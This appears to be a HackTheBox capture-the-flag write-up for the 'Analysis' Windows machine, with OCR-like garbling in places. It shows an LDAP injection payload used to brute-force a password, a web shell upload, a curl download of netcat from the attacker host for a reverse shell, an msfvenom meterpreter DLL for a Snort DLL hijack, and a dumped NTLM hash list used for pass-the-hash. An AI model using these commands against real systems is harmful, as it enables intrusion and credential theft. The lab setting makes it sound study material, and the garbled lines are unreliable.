# Analysis Machine {Hard}

## Recon (Enumeration):

##### Website



I found nothing interesting in here, not yet atleast

##### Nmap

`nmap -p- -sCV --min-rate=7000 analysis.htb -oN scan`

```
Not shown: 60849 closed tcp ports (reset), 4657 filtered tcp ports (no-response)
         STATE SERVICE
PORT
                             VERSION
                             Simple DNS Plus
53/tcp
         open <u>domain</u>
80/tcp
                              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
        open http
http-server-header:
  Microsoft-HTTPAPI/2.0
   Microsoft-IIS/10.0
 _http-title: Site doesn't have a title (text/html).
 http-methods:
  Potentially risky methods: TRACE
Microsoft Windows Active Directory LDAP (Domain: analysis.htbo., Site: Default-First-Site-Nam
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http
636/tcp open tcpwrapped
                              Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap
                             Microsoft Windows Active Directory LDAP (Domain: analysis.htb0, Site: Default-First-Site-Nam
3269/tcp open tcpwrapped
                             MySQL (unauthorized)
3306/tcp open mysql
5985/tcp open http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-server-header: Microsoft-HTTPAPI/2.0
 _http-title: Not Found
9389/tcp open mc-nmf
                              .NET Message Framing
33060/tcp open mysqlx?
 fingerprint-strings:
   DNSStatusRequestTCP, LDAPSearchReq, SSLSessionReq, TLSSessionReq, X11Probe, afp:
     Invalid message"
     HY000
   LDAPBindReq:
     *Parse error unserializing protobuf message"
     HY000
   oracle-tns:
     Invalid message-frame."
     HY000
47001/tcp open http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
               ncacn_http
                             Microsoft Windows RPC over HTTP 1.0
 9674/tcp open
```

- 1. nmap scan returned bunch of information the windows machine is hosting an LDAP AD service and has a DNS service running on port 53.
- 2. port 88 Has a kerberos service running to understand it better here \*\*[[Kerberos]]\*\*
- 3. there is an \*\*[[SMB]]\*\* service think of it like ftp for Windows after tried and errors to enumerate it using smbmap i failed because so far i had no information

4.



i tried this after i rooted the machine but couldnt connect to any directory

```
> smbclient -L //analysis.htb/C$ -U jdoe
Password for [WORKGROUP\jdoe]:
        Sharename
                        Type
                                  Comment
        ADMIN$
                        Disk
                                   Administration à distance
                        Disk
                                   Partage par défaut
                                   IPC distant
                                   Partage de serveur d'accès
        NETLOGON
                        Disk
                        Disk
                                   Partage de serveur d'accès
        SYSV0L
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to analysis.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

- 5. i used Feroxbuster on http://analysis.htb but revealed nothing that hold any value so i started enumerating for subdomains
- 1. Mistake Number: i enumerated for subdomains using my local dns which was wrong i should've used the dns of the machine


```
[12:23:31] (root) /tmp/box
\[ \lambda > gobuster dns -d analysis.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r analysis.htb:53 -t 20 -q
\[ \text{Found: www.analysis.htb} \]
\[ \text{Found: gc._msdcs.analysis.htb} \]
\[ \text{Found: domaindnszones.analysis.htb} \]
\[ \text{Found: forestdnszones.analysis.htb} \]
```

After further directory bruteforce the only important domain is internal.analysis.htb as it revealed lots of interesting stuff.

```
ittp://internal.analysis.htb/Dashboard/uploads/shell.php
rttp://internal.analysis.htb/Emplovees/login.php
ittp://internal.analysis.htb/dashboard/Details.php
ittp://internal.analysis.htb/dashboard/Emergency.php
ittp://internal.analysis.htb/dashboard/Form.php
ittp://internal.analysis.htb/dashboard/INDEX.php
ittp://internal.analysis.htb/dashboard/LIB/chart
ittp://internal.analysis.htb/dashboard/LogOut.php
ittp://internal.analysis.htb/dashboard/Tickets.php
ittp://internal.analysis.htb/dashboard/Upload.php
rttp://internal.analysis.htb/dashboard/Uploads/
ittp://internal.analysis.htb/dashboard/css
ittp://internal.analysis.htb/dashboard/details.php
ittp://internal.analysis.htb/dashboard/lib/chart
ittp://internal.analysis.htb/dashboard/lib/chart/
ittp://internal.analysis.htb/dashboard/logout.php
ittp://internal.analysis.htb/dashboard/tickets.php
ittp://internal.analysis.htb/dashboard/upload.php
ittp://internal.analysis.htb/employees
ittp://internal.analysis.htb/users
ittp://internal.analysis.htb/users/list.php
```

#### Exploitation:


checking list.php is gives back missing parametre :




Utilizing arjun : arjun - HTTP parameter discovery suite to find the missing parameter :




The most interesting part is here



Here is an LDAP directory server putting \* in the parameter input like saying whatever character is True see \*[[LDAP Injections]]\*.



This returns the username technician which means there is a path hijacking vulnerability here https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html



so after a while of crafting and searching i made this thanks to

[hacktricks](https://book.hacktricks.xyz/pentesting-web/lda p-injection) and somehints in breachforums :) :

`http://internal.analysis.htb/users/list.php?name=\*)(%26(objectClass=user)(description=\*)`

the idea here is to bruteforce for a password by adding a character next to a star if the request sends back technician in it that means we found a valid character after some time

# i found this script on

[payloadallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection#exploitation) and modified it (using my bestie chatGPT):

this script after a while reveals this password after a while it returns this: `97NTtl\*4QP96Bv`

so i logged in /emloyees/login.php with creds : technician@analysis.htb:`97NTtl\*4QP96Bv`

and from then i uploaded a p0wnny shell in /dashboard/form.php

then i accessed it from /uploads/shell.php #### Priv Esc :



In order to get a stable shell i uploaded a nc64.exe on the target machine with curl

`curl http://tun0\_ip:800/nc64.exe -o nc64.exe & dir`

```
\lambda > nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.60] from (UNKNOWN) [10.10.11.250] 58706
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits r*serv*s.
C:\inetpub\internal\dashboard\uploads>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num∻ro de s∻rie du volume est 0071-E237
R*pertoire de C:\inetpub\internal\dashboard\uploads
10/05/2024 15:05
                     <DIR>
10/05/2024 15:05
                     <DIR>
10/05/2024 10:14
                          9 0006 080 chisel.exe
10/05/2024 10:01
                             45♦272 nc.exe
10/05/2024 09:57
                             20♦321 shell.php
               3 fichier(s)
                                   9♦071♦673 octets
               2 R♦p(s) 3♦547♦029♦504 octets libres
C:\inetpub\internal\dashboard\uploads>
```

Moving on i installed winpeasSpa.exe on the target system to find vunlnerabilites

winpeas revealed these users

```
ANALYSIS\Administrateur
ANALYSIS\wsmith
ANALYSIS\webservice
ANALYSIS\soc_analyst
ANALYSIS\jdoe
AUTORITE NT\SERVICE R*SEAU
AUTORITE NT\SERVICE LOCAL
AUTORITE NT\Syst*me
```

also found these logs and tried evil-winrm

```
Some AutoLogon credentials

Some AutoLogon credentials were found

DefaultDomainName : analysis.htb.

DefaultUserName : jdoe

DefaultPassword : 7y4Z4^**y9Zzj
```

```
[14:19:34] (root) /tmp/box

\[ \lambda > \text{evil-winrm -u jdoe -i analysis.htb -p "7y4Z4^*y9Zzj"} \]

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quot machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/F

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\jdoe\Documents>
```

Those creds worked and obtained User flag i found snort on the system which is basically a program SNORT is \*\*a powerful open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that provides real-time network traffic analysis and data packet logging\*\*. SNORT uses a rule-based language that combines anomaly, protocol, and signature inspection methods to detect potentially malicious activity.

winpeas also reveals a DLL Hijack in snort binary :

```
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected

Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
```


After some research i found this vulnerabilty:

https://packetstormsecurity.com/files/138915/Snort-2.9.7.0 -WIN32-DLL-Hijacking.html

ALL its done is to make a dll file named st\_engine.dll using msfvenom

```
[14:37:54] (root) /tmp/box
( > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f dll -o sf_engine.dll
```

and listen with msfconsole for the remote connection.



### 2- Method

this is the hashdump using evil-winrm to connect to any account Administrateur included :

## meterpreter > hashdump

Administrateur:500:aad3b435b51404eeaad3b435b51404e e:584d96946e4ad1ddfa4f8d7938faf91d:::

Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cf e0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8549ecd32b0253e9894a422299fe2466:::

jdoe:1103:aad3b435b51404eeaad3b435b51404ee:19019 3db2c6c6d69c60cf5af64447ce0:::

soc\_analyst:1104:aad3b435b51404eeaad3b435b51404ee :d6f020bbee8043520eb569e540913bd4:::

cwilliams:1105:aad3b435b51404eeaad3b435b51404ee:ce 88373ebd6d687eac0a405734a266aa:::

technician:1106:aad3b435b51404eeaad3b435b51404ee:c e88373ebd6d687eac0a405734a266aa:::

webservice:1107:aad3b435b51404eeaad3b435b51404ee: 780b446d7d76a85880ce49a387f18642:::

wsmith:1109:aad3b435b51404eeaad3b435b51404ee:3da 4104738938858384180964346fc6c:::

jangel:1110:aad3b435b51404eeaad3b435b51404ee:eea7 337a28121aab144ca78fed48fc7e:::

Izen:1111:aad3b435b51404eeaad3b435b51404ee:eea7337a28121aab144ca78fed48fc7e:::

svc\_web:2101:aad3b435b51404eeaad3b435b51404ee:cf 74f3b0e86e17fba5051e261b9785b2:::

amanson:2103:aad3b435b51404eeaad3b435b51404ee:5 d5b796cd37d9e19d9d1ae10c22ffa78:::

badam:2104:aad3b435b51404eeaad3b435b51404ee:5d5b796cd37d9e19d9d1ae10c22ffa78:::

DC-ANALYSIS\$:1000:aad3b435b51404eeaad3b435b514 04ee:2ec9198220c4bb7306ba170b7fa007f9::: meterpreter >

#### HackTheBox

```
\( \) evil-winrm -i analysis.htb -u Administrateur -H 584d96946e4ad1ddfa4f8d7938faf91d
\( \) Evil-WinRM shell v3.5
\( \)
\( \) Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() funct ion is unimplemented on this machine
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